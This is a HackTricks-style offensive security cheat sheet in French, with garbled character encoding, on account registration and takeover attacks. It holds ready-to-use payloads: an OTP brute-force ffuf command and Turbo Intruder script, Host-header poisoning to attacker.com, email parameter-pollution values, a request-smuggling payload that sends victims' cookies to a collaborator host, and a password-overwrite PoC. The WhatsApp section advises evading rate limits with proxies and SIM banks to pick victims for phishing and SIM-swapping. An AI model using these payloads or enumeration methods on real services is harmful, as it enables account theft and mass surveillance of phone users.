Inscription & Vulnérabilités de prise de contrÎle
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Prise de contrĂŽle par inscription
Inscription en double
- Essayez de crĂ©er en utilisant un nom dâutilisateur existant
- Essayez de varier lâemail :
- majuscules
- +1@
- ajoutez des points dans lâemail
- caractĂšres spĂ©ciaux dans la partie locale de lâemail (%00, %09, %20)
- Mettez des caractĂšres blancs aprĂšs lâemail :
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- Essayez des astuces de canonicalization cĂŽtĂ© fournisseur dâemail (dĂ©pend du service) :
- Gmail ignore les points et le subaddressing :
victim+1@gmail.com,v.ic.tim@gmail.comdeliver tovictim@gmail.com - Certains fournisseurs sont insensibles Ă la casse dans la partie locale
- Certains fournisseurs acceptent des confusables unicode. Essayez des homoglyphs et le soft hyphen
\u00ADdans la partie locale - Abusez-en pour : bypass uniqueness checks, obtenir des comptes en double/workspace invites, ou bloquer les inscriptions de la victime (temporary DoS) pendant que vous préparez une takeover
ĂnumĂ©ration de noms dâutilisateur
VĂ©rifiez si vous pouvez dĂ©terminer quand un nom dâutilisateur est dĂ©jĂ enregistrĂ© dans lâapplication.
- DiffĂ©rents messages dâerreur ou codes de statut HTTP
- DiffĂ©rences de temporisation (un utilisateur existant peut dĂ©clencher une lookup vers lâIdP/DB)
- Autoremplissage du formulaire dâenregistrement avec les donnĂ©es du profil pour des emails connus
- VĂ©rifiez les flux dâĂ©quipe/invitation : entrer un email peut rĂ©vĂ©ler si un compte existe
Politique de mot de passe
Lors de la crĂ©ation dâun utilisateur, vĂ©rifiez la politique de mot de passe (vĂ©rifiez si vous pouvez utiliser des mots de passe faibles).
Dans ce cas vous pouvez tenter un bruteforce des credentials.
SQL Injection
Check this page pour apprendre comment tenter des account takeovers ou extraire des informations via SQL Injections dans les formulaires dâenregistrement.
Oauth Takeovers
SAML Vulnerabilities
Changer lâemail
Une fois enregistrĂ©, essayez de changer lâemail et vĂ©rifiez si ce changement est correctement validĂ© ou si vous pouvez le remplacer par un email arbitraire.
Autres vérifications
- Vérifiez si vous pouvez utiliser disposable emails (mailinator, yopmail, 1secmail, etc.) ou contourner la blocklist avec du subaddressing comme
victim+mailinator@gmail.com - Long password (>200) entraĂźne un DoS
- Vérifiez les rate limits sur la création de comptes
- Utilisez username@burp_collab.net et analysez le callback
- Si une vérification par numéro de téléphone est utilisée, vérifiez les cas limites de phone parsing/injection
Contact-discovery / oracles dâĂ©numĂ©ration dâidentifiants
Les messengers centrés sur le numéro de téléphone exposent un presence oracle chaque fois que le client synchronise les contacts. Rejouer les discovery requests de WhatsApp a historiquement fourni >100M lookups per hour, permettant des énumérations de comptes quasi complÚtes.
Flux dâattaque
- Instrumentez un client officiel pour capturer la requĂȘte dâupload du carnet dâadresses (blob authentifiĂ© de numĂ©ros normalisĂ©s E.164). Rejouez-la avec des numĂ©ros gĂ©nĂ©rĂ©s par lâattaquant tout en rĂ©utilisant les mĂȘmes cookies/device token.
- Batch numbers per request : WhatsApp accepte des milliers dâidentifiants et renvoie registered/unregistered plus des mĂ©tadonnĂ©es (business, companion, etc.). Analysez les rĂ©ponses hors ligne pour construire des listes de cibles sans envoyer de messages aux victimes.
- Horizontally scale lâĂ©numĂ©ration avec des SIM banks, des cloud devices, ou des residential proxies afin que le throttling par compte/IP/ASN ne se dĂ©clenche jamais.
Modélisation du plan de numérotation
ModĂ©lisez le plan de numĂ©rotation de chaque pays pour Ă©viter les candidats invalides. Le dataset NDSS (country-table.*) liste les indicatifs pays, la densitĂ© dâadoption et la rĂ©partition par plateforme afin que vous puissiez prioriser les plages Ă fort taux de rĂ©ussite. Exemple de code dâamorçage :
import pandas as pd
from itertools import product
df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91" # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)
Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.
Turning enumerations into targeted attacks
- Alimentez lâoracle avec des leaked phone numbers (p.ex., Facebookâs 2021 breach) pour dĂ©terminer quelles identitĂ©s sont encore actives avant le phishing, le SIM-swapping ou le spamming.
- Segmentez les recensements par pays / OS / type dâapp pour identifier les rĂ©gions avec un filtrage SMS faible ou une forte adoption de WhatsApp Business, propices Ă du social engineering localisĂ©.
Public-key reuse correlation
WhatsApp expose la clĂ© dâidentitĂ© X25519 de chaque compte lors de lâĂ©tablissement de la session. Demandez le matĂ©riel dâidentitĂ© pour chaque numĂ©ro Ă©numĂ©rĂ© et dĂ©dupliquez les clĂ©s publiques pour rĂ©vĂ©ler des account farms, des clients clonĂ©s ou un firmware non sĂ©curisĂ© â des clĂ©s partagĂ©es dĂ©sanonymisent les opĂ©rations multi-SIM.
Weak Email/Phone Verification (OTP/Magic Link)
Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws:
- OTP devinable ou trop court (4â6 chiffres) sans rate limiting effectif ni suivi IP/appareil. Essayez des tentatives parallĂšles et la rotation des headers/IP.
- RĂ©utilisation de lâOTP entre actions ou comptes, ou non liĂ© Ă lâutilisateur/action spĂ©cifique (p.ex., mĂȘme code fonctionne pour connexion et inscription, ou fonctionne aprĂšs changement dâemail).
- Multi-value smuggling: certains backends acceptent plusieurs codes et valident si lâun dâeux correspond. Essayez:
code=000000&code=123456- JSON arrays:
{"code":["000000","123456"]} - Mixed parameter names:
otp=000000&one_time_code=123456 - Comma/pipe separated values:
code=000000,123456orcode=000000|123456 - Response oracle: distinguer âwrongâ vs âexpiredâ vs âwrong-userâ en se basant sur le statut/le message/la longueur du body.
- Tokens non invalidés aprÚs succÚs ou aprÚs changement de mot de passe/email.
- Le token de vĂ©rification non liĂ© au user agent/IP, ce qui permet une complĂ©tion cross-origin depuis des pages contrĂŽlĂ©es par lâattaquant.
Bruteforcing example with ffuf against a JSON OTP endpoint:
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
Deviner en parallÚle/concurremment pour contourner les verrouillages séquentiels (utilisez Turbo Intruder dans Burp) :
Extrait Turbo Intruder pour inonder des tentatives d'OTP Ă 6 chiffres
```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)def handleResponse(req, interesting): if req.status != 401 and bâInvalidâ not in req.response: table.add(req)
</details>
- Essayez la vĂ©rification en course : soumettez le mĂȘme OTP valide simultanĂ©ment dans deux sessions ; parfois une session devient un compte attaquant vĂ©rifiĂ© tandis que le flux de la victime rĂ©ussit aussi.
- Testez aussi Host header poisoning sur les liens de vĂ©rification (mĂȘme chose que reset poisoning ciâdessous) pour leak ou complĂ©ter la vĂ©rification sur un hĂŽte contrĂŽlĂ© par l'attaquant.
<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>
<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>
<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>
## Account PreâHijacking Techniques (before the victim signs up)
Une classe puissante de problĂšmes survient lorsquâun attaquant rĂ©alise des actions sur lâemail de la victime avant que celleâci ne crĂ©e son compte, puis rĂ©cupĂšre lâaccĂšs plus tard.
Techniques clés à tester (adaptez-les aux flux de la cible) :
- ClassicâFederated Merge
- Attacker : enregistre un compte classic avec lâemail de la victime et dĂ©finit un mot de passe
- Victim : sâinscrit ensuite via SSO (mĂȘme email)
- Des merges non sĂ©curisĂ©s peuvent laisser les deux parties connectĂ©es ou ressusciter lâaccĂšs de lâattaquant
- Unexpired Session Identifier
- Attacker : crée le compte et conserve une session longue durée (ne pas se déconnecter)
- Victim : récupÚre/définit le mot de passe et utilise le compte
- Testez si les anciennes sessions restent valides aprĂšs un reset ou lâactivation du MFA
- Trojan Identifier
- Attacker : ajoute un identifiant secondaire au compte prĂ©âcréé (tĂ©lĂ©phone, email additionnel, ou lie lâIdP de lâattaquant)
- Victim : rĂ©initialise le mot de passe ; lâattaquant utilise ensuite le trojan identifier pour reset/connexion
- Unexpired Email Change
- Attacker : initie un changement dâemail vers lâemail de lâattaquant et retient la confirmation
- Victim : rĂ©cupĂšre le compte et commence Ă lâutiliser
- Attacker : complĂšte plus tard le changement dâemail en attente pour voler le compte
- NonâVerifying IdP
- Attacker : utilise un IdP qui ne vĂ©rifie pas la propriĂ©tĂ© de lâemail pour affirmer `victim@âŠ`
- Victim : sâinscrit via la mĂ©thode classic
- Le service fusionne sur la base de lâemail sans vĂ©rifier `email_verified` ni effectuer une vĂ©rification locale
Conseils pratiques
- Récupérez les flux et endpoints depuis les bundles web/mobile. Cherchez classic signup, SSO linking, email/phone change et les endpoints de password reset.
- CrĂ©ez une automation rĂ©aliste pour garder des sessions actives pendant que vous testez dâautres flux.
- Pour les tests SSO, dĂ©ployez un IdP OIDC de test et Ă©mettez des tokens avec des claims `email` pour lâadresse de la victime et `email_verified=false` afin de vĂ©rifier si le RP fait confiance Ă des IdP non vĂ©rifiĂ©s.
- AprĂšs toute rĂ©initialisation de mot de passe ou changement dâemail, vĂ©rifiez que :
- toutes les autres sessions et tokens sont invalidés,
- les modifications dâemail/tĂ©lĂ©phone en attente sont annulĂ©es,
- les IdP/emails/téléphones précédemment liés sont revérifiés.
Note : Une mĂ©thodologie Ă©tendue et des Ă©tudes de cas de ces techniques sont documentĂ©es par la recherche de Microsoft sur le preâhijacking (voir RĂ©fĂ©rences Ă la fin).
<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>
<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>
## **Password Reset Takeover**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Demandez un password reset vers votre adresse email
2. Cliquez sur le lien de password reset
3. Ne changez pas le mot de passe
4. Cliquez sur nâimporte quel site tiers (ex : Facebook, twitter)
5. Interceptez la requĂȘte dans le proxy Burp Suite
6. Vérifiez si le referer header est en train de leak le token de password reset.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Interceptez la requĂȘte de password reset dans Burp Suite
2. Ajoutez ou éditez les headers suivants dans Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forwardez la requĂȘte avec le header modifiĂ©\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Cherchez une URL de password reset basée sur le _host header_ comme : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR sur les paramĂštres API
- Lâattaquant doit se connecter avec son compte et aller Ă la fonctionnalitĂ© Change password.
- DĂ©marrer Burp Suite et intercepter la requĂȘte\
- Envoyez-la dans lâonglet repeater et modifiez les paramĂštres : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Token de réinitialisation de mot de passe faible
Le token de rĂ©initialisation de mot de passe doit ĂȘtre gĂ©nĂ©rĂ© alĂ©atoirement et ĂȘtre unique Ă chaque fois.
Essayez de dĂ©terminer si le token expire ou sâil est toujours le mĂȘme ; dans certains cas lâalgorithme de gĂ©nĂ©ration est faible et peut ĂȘtre devinĂ©. Les variables suivantes peuvent ĂȘtre utilisĂ©es par lâalgorithme.
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
Leaking Password Reset Token
- DĂ©clenchez une demande de rĂ©initialisation de mot de passe via lâAPI/UI pour un email spĂ©cifique, p.ex.: test@mail.com
- Inspectez la réponse du serveur et vérifiez la présence de
resetToken - Utilisez ensuite le token dans une URL comme
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
RĂ©initialisation de mot de passe via collision de nom dâutilisateur
- Inscrivez-vous sur le systĂšme avec un nom dâutilisateur identique Ă celui de la victime, mais avec des espaces insĂ©rĂ©s avant et/ou aprĂšs le nom. e.g:
"admin " - Demandez une rĂ©initialisation de mot de passe avec votre nom dâutilisateur malveillant.
- Utilisez le token envoyé à votre email et réinitialisez le mot de passe de la victime.
- Connectez-vous au compte de la victime avec le nouveau mot de passe.
La plateforme CTFd était vulnérable à cette attaque.
See: CVE-2020-7245
Détournement de compte via Cross Site Scripting
- Trouvez un XSS dans lâapplication ou un sous-domaine si les cookies sont limitĂ©s au domaine parent :
*.domain.com - Leak le sessions cookie actuel
- Authentifiez-vous en tant quâutilisateur en utilisant le cookie
Détournement de compte via HTTP Request Smuggling
- Utilisez smuggler pour détecter le type de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\ - Fabriquez une requĂȘte qui Ă©crasera le
POST / HTTP/1.1avec les donnĂ©es suivantes:GET http://something.burpcollaborator.net HTTP/1.1 X:dans le but de provoquer un open redirect des victimes vers burpcollab et voler leurs cookies\ - La requĂȘte finale pourrait ressembler Ă la suivante
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone rapporte lâexploitation de ce bug\
Prise de contrĂŽle de compte via CSRF
- CrĂ©ez un payload pour le CSRF, e.g: âHTML form with auto submit for a password changeâ
- Envoyez le payload
Prise de contrĂŽle de compte via JWT
JSON Web Token peut ĂȘtre utilisĂ© pour authentifier un utilisateur.
- Modifiez le JWT avec un autre User ID / Email
- Vérifiez si la signature JWT est faible
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victimâs email will overwrite their password pre-auth.
- DĂ©couverte : rĂ©cupĂ©rer les noms dâendpoint depuis le bundled JS (ou le trafic de lâapp mobile), puis fuzz des base paths comme /parents/application/v4/admin/FUZZ en utilisant ffuf/dirsearch.
- Indications de mĂ©thode : un GET renvoyant des messages comme âOnly POST request is allowed.â indique souvent le verbe correct et quâun body JSON est attendu.
- Corps minimal observé sur le terrain :
{"email":"victim@example.com","password":"New@12345"}
Exemple de PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Impact : Full Account Takeover (ATO) without any reset token, OTP, or email verification.
Références
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- Microsoft MSRC â Preâhijacking attacks on web user accounts (May 2022)
- https://salmonsec.com/cheatsheet/account_takeover
- Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


